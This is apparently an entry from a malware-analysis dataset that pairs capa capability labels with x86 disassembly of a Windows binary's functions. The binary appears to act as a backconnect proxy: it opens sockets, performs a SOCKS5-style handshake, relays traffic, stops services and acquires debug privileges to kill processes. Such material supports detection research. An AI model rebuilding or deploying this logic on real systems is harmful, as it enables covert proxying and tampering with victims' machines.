joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4051ec
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40541c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40526f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40541c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40526f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405438
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4052f8
xor eax, eax
push ebp
push 0x4052f1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405034
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4052d6
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405458
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4052d6
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4052f8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405412
cmp byte [ebp - 0xd], 0
jne 0x40533f
cmp byte [ebp - 0x12], 0
je 0x405412
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405358
dec ebx
cmp byte [ebx], 0x2e
je 0x405367
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405357
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405412
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4053a4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405412
cmp byte [ebp - 0xd], 0
je 0x405412
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405412
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405f38
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
test eax, 0x4000000
je 0x405f47
or edx, 0x200
test eax, 0x20000000
je 0x405f7b
test eax, 0x40000000
je 0x405f66
test eax, 0x80000000
je 0x405f61
or edx, 0x40
jmp 0x405fa2
or edx, 0x20
jmp 0x405fa2
test eax, 0x80000000
je 0x405f75
or edx, 0x80
jmp 0x405fa2
or edx, 0x10
mov eax, edx
ret
test eax, 0x40000000
je 0x405f93
test eax, 0x80000000
je 0x405f8e
or edx, 4
jmp 0x405fa2
or edx, 2
jmp 0x405fa2
test eax, 0x80000000
je 0x405f9f
or edx, 8
jmp 0x405fa2
or edx, 1
mov eax, edx
ret
Function at 0x4078e4
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.004044a4
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x407906
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x408ccc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408d05
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004040fc
jmp 0x408d0e
mov eax, ebx
mov edx, esi
call fcn.00404060
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x408d18
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408d39
mov al, byte [esp]
jmp 0x408d3b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4093c0
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x409238
mov eax, dword [0x4264a0]
cmp byte [eax], 0
je 0x409428
mov eax, dword [0x4263ac]
call fcn.00402ae8
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00407bec
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x409470
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40945e
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x426380]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x427710]
call fcn.00404ff8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x409df0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x409e54
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0040425c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407790
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409e5b
lea eax, [ebp - 0xc]
call fcn.0040400c
ret

Function at 0x4105a4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, edx
dec eax
test eax, eax
jb 0x4105d2
inc eax
xor edx, edx
mov dl, byte [ebx]
mov esi, dword [ecx]
and esi, 0xff
xor edx, esi
mov edx, dword [edx*4 + 0x4259b4]
mov esi, dword [ecx]
shr esi, 8
xor edx, esi
mov dword [ecx], edx
inc ebx
dec eax
jne 0x4105b0
pop esi
pop ebx
ret
Function at 0x410860
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404494
xor eax, eax
push ebp
push 0x4108bb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00410798
mov ebx, eax
test ebx, ebx
jne 0x4108a5
mov eax, dword [ebp - 4]
call fcn.004044a4
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x4108a5
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4108c2
lea eax, [ebp - 4]
call fcn.0040400c
ret

Function at 0x410960
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebx
push esi
add esp, 0xfffffff0
mov esi, eax
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4109bc
mov eax, esp
xor ecx, ecx
mov edx, 0x10
call fcn.00402d18
mov word [esp], 2
mov eax, esi
xchg al, ah
mov word [esp + 2], ax
push 0x10
lea eax, [esp + 4]
push eax
push ebx
call sub.wsock32.dll_bind
test eax, eax
jne 0x4109b3
push 0
push ebx
call sub.wsock32.dll_listen
test eax, eax
je 0x4109bc
push ebx
call sub.wsock32.dll_closesocket
or ebx, 0xffffffff
mov eax, ebx
add esp, 0x10
pop esi
pop ebx
ret

Function at 0x4109e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404494
xor eax, eax
push ebp
push 0x410a6d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x410a57
lea eax, [ebp - 0x14]
xor ecx, ecx
mov edx, 0x10
call fcn.00402d18
mov word [ebp - 0x14], 2
mov eax, esi
xchg al, ah
mov word [ebp - 0x12], ax
mov eax, dword [ebp - 4]
call fcn.00410860
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
je 0x410a57
mov eax, ebx
call fcn.00410a7c
or ebx, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410a74
lea eax, [ebp - 4]
call fcn.0040400c
ret

Function at 0x410a7c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
add esp, 0xfffffbfc
mov ebx, eax
push 1
push ebx
call sub.wsock32.dll_shutdown
push 0
push 0x400
lea eax, [esp + 8]
push eax
push ebx
call sub.wsock32.dll_recv
test eax, eax
jg 0x410a8d
push ebx
call sub.wsock32.dll_closesocket
add esp, 0x404
pop ebx
ret

Function at 0x410ab4
Capabilities:
Initialize winsock library

Disassembly:
add esp, 0xfffffe70
push esp
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
sete byte [0x427878]
add esp, 0x190
ret
Function at 0x410ba4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00404494
xor eax, eax
push ebp
push 0x410c89
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.00410b40
mov esi, eax
test esi, esi
jle 0x410c6b
lea eax, [ebp - 0xc]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404504
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x20006
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.004044a4
push eax
push edi
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
jne 0x410c6b
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004042ac
mov ecx, eax
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.00404504
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004044a4
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete bl
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410c90
lea eax, [ebp - 0xc]
call fcn.0040400c
lea eax, [ebp - 4]
call fcn.0040400c
ret
Function at 0x410c9c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00404494
xor eax, eax
push ebp
push 0x410dc6
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.00410b40
mov esi, eax
test esi, esi
jle 0x410da8
lea eax, [ebp - 0xc]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404504
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 0xc]
call fcn.004044a4
push eax
push edi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x410da8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004042ac
mov ecx, eax
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.00404504
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004044a4
mov edi, eax
push edi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x410d9f
mov eax, dword [ebp - 0x18]
call fcn.00402544
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x10]
push eax
push 0
push edi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x410d98
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jne 0x410d8f
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x18]
mov dword [eax], edx
mov bl, 1
jmp 0x410d9f
mov eax, esi
call fcn.00402564
jmp 0x410d9f
mov eax, esi
call fcn.00402564
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410dcd
lea eax, [ebp - 0xc]
call fcn.0040400c
lea eax, [ebp - 4]
call fcn.0040400c
ret

Function at 0x412018
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404494
xor eax, eax
push ebp
push 0x4120a5
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
push 1
push 0
push 0x4120b8
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
jbe 0x41208f
push 4
mov eax, dword [ebp - 4]
call fcn.004044a4
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov esi, eax
test esi, esi
jbe 0x412089
mov dword [ebp - 8], 0x2b5c
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x2c]
push eax
push 0
push esi
call sub.advapi32.dll_QueryServiceStatusEx
mov edi, dword [ebp - 0x10]
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4120ac
lea eax, [ebp - 4]
call fcn.0040400c
ret
Function at 0x4120bc
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404494
mov eax, dword [ebp - 8]
call fcn.00404494
xor eax, eax
push ebp
push 0x41218b
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004044a4
push eax
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
jbe 0x412169
push 0x24
mov eax, dword [ebp - 8]
call fcn.004044a4
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov esi, eax
test esi, esi
jbe 0x412163
lea eax, [ebp - 0x24]
push eax
push 1
push esi
call sub.advapi32.dll_ControlService
test eax, eax
je 0x41215d
lea eax, [ebp - 0x24]
push eax
push esi
call sub.advapi32.dll_QueryServiceStatus
test eax, eax
je 0x41215d
jmp 0x412157
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x24]
push eax
push esi
call sub.advapi32.dll_QueryServiceStatus
test eax, eax
je 0x41215d
cmp edi, dword [ebp - 0x10]
ja 0x41215d
cmp dword [ebp - 0x20], 1
jne 0x412138
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
cmp dword [ebp - 0x20], 1
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412192
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404030
ret
Function at 0x41219c
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x4122bc
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x4121d9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4122c8
lea eax, [ebp - 0x10]
push eax
push 0x4122d4
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
jne 0x412203
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4122c8
mov dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 2
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x10
lea eax, [ebp - 0x24]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x412249
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4122c8
push esi
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
jne 0x412263
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4122c8
push 0xffffffffffffffff
push esi
call sub.kernel32.dll_TerminateProcess
test eax, eax
jne 0x412279
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4122c8
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x10
lea eax, [ebp - 0x24]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x4122b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4122c8
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4122c8
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x412534
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffaf4
mov esi, edx
mov ebx, eax
lea edi, [esp + 0x408]
mov ebp, esp
mov eax, edi
call fcn.00412428
mov edx, edi
mov eax, ebx
call fcn.00412418
mov edx, edi
mov eax, esi
call fcn.00412418
mov dword [ebp], 0xf
xor eax, eax
mov dword [ebp + 4], eax
push ebp
push 0
push 0
push edi
push 0
call sub.wsock32.dll_select
test eax, eax
jle 0x41254b
mov edx, edi
mov eax, ebx
call fcn.00412400
test al, al
je 0x4125c0
lea eax, [esp + 8]
mov edx, 0x400
call fcn.00405bf8
push 0
push 0x400
lea eax, [esp + 0x10]
push eax
push ebx
call sub.wsock32.dll_recv_1
test eax, eax
jle 0x412608
push 0
push eax
lea eax, [esp + 0x10]
push eax
push esi
call sub.wsock32.dll_send_1
mov edx, edi
mov eax, esi
call fcn.00412400
test al, al
je 0x41254b
lea eax, [esp + 8]
mov edx, 0x400
call fcn.00405bf8
push 0
push 0x400
lea eax, [esp + 0x10]
push eax
push esi
call sub.wsock32.dll_recv_1
test eax, eax
jle 0x412608
push 0
push eax
lea eax, [esp + 0x10]
push eax
push ebx
call sub.wsock32.dll_send_1
jmp 0x41254b
add esp, 0x50c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4129d4
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x412ad5
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 8]
call fcn.0040400c
lea eax, [ebp - 0x408]
mov edx, 0x400
call fcn.00405bf8
push 0
push 0x400
lea eax, [ebp - 0x408]
push eax
push esi
call sub.wsock32.dll_recv_1
inc eax
je 0x412abf
lea edx, [ebp - 0x408]
lea eax, [ebp - 3]
mov ecx, 3
call fcn.00405bf0
cmp byte [ebp - 3], 5
jne 0x412a48
cmp byte [ebp - 2], 1
je 0x412a4c
xor eax, eax
jmp 0x412a4e
mov al, 1
test al, al
jne 0x412a6b
lea eax, [ebp - 8]
mov edx, 0x412aec
call fcn.004040a4
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.004124b0
jmp 0x412abf
mov al, byte [ebp - 1]
sub al, 1
jae 0x412aa8
lea eax, [ebp - 0x408]
mov edx, 0x400
call fcn.00405bf8
mov byte [ebp - 0x408], 5
mov byte [ebp - 0x407], 0
push 0
push 2
lea eax, [ebp - 0x408]
push eax
push esi
call sub.wsock32.dll_send_1
inc eax
je 0x412abf
mov bl, 1
jmp 0x412abf
lea eax, [ebp - 8]
mov edx, 0x412aec
call fcn.004040a4
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.004124b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412adc
lea eax, [ebp - 8]
call fcn.0040400c
ret

Function at 0x412af0
Capabilities:
Create tcp socket

Disassembly:
push ebx
push ecx
mov ebx, dword [0x4278e4]
push 6
push 1
push 2
call sub.wsock32.dll_socket_1
mov dword [esp], eax
mov eax, ebx
call fcn.004129d4
test al, al
je 0x412b4b
mov edx, esp
mov eax, ebx
call fcn.00412614
test al, al
je 0x412b39
mov edx, dword [esp]
mov eax, ebx
call fcn.00412534
mov eax, dword [esp]
push eax
call sub.wsock32.dll_closesocket_1
push ebx
call sub.wsock32.dll_closesocket_1
jmp 0x412b5a
mov eax, dword [esp]
push eax
call sub.wsock32.dll_closesocket_1
push ebx
call sub.wsock32.dll_closesocket_1
pop edx
pop ebx
ret
mov eax, dword [esp]
push eax
call sub.wsock32.dll_closesocket_1
push ebx
call sub.wsock32.dll_closesocket_1
pop edx
pop ebx
ret

Function at 0x412ca8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404494
mov eax, dword [ebp - 8]
call fcn.00404494
xor eax, eax
push ebp
push 0x412d33
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, esi
mov eax, dword [ebp - 8]
call fcn.004109e0
mov ebx, eax
cmp ebx, 0xffffffff
je 0x412d10
mov dword [0x4278e4], ebx
lea eax, [ebp - 0x3b]
mov edx, dword [ebp - 4]
call fcn.00407c48
push 0
push 0x33
lea eax, [ebp - 0x3b]
push eax
push ebx
call sub.wsock32.dll_send
inc eax
je 0x412cd6
call fcn.00412af0
jmp 0x412cd6
mov eax, dword [0x426494]
mov byte [eax], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412d3a
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404030
ret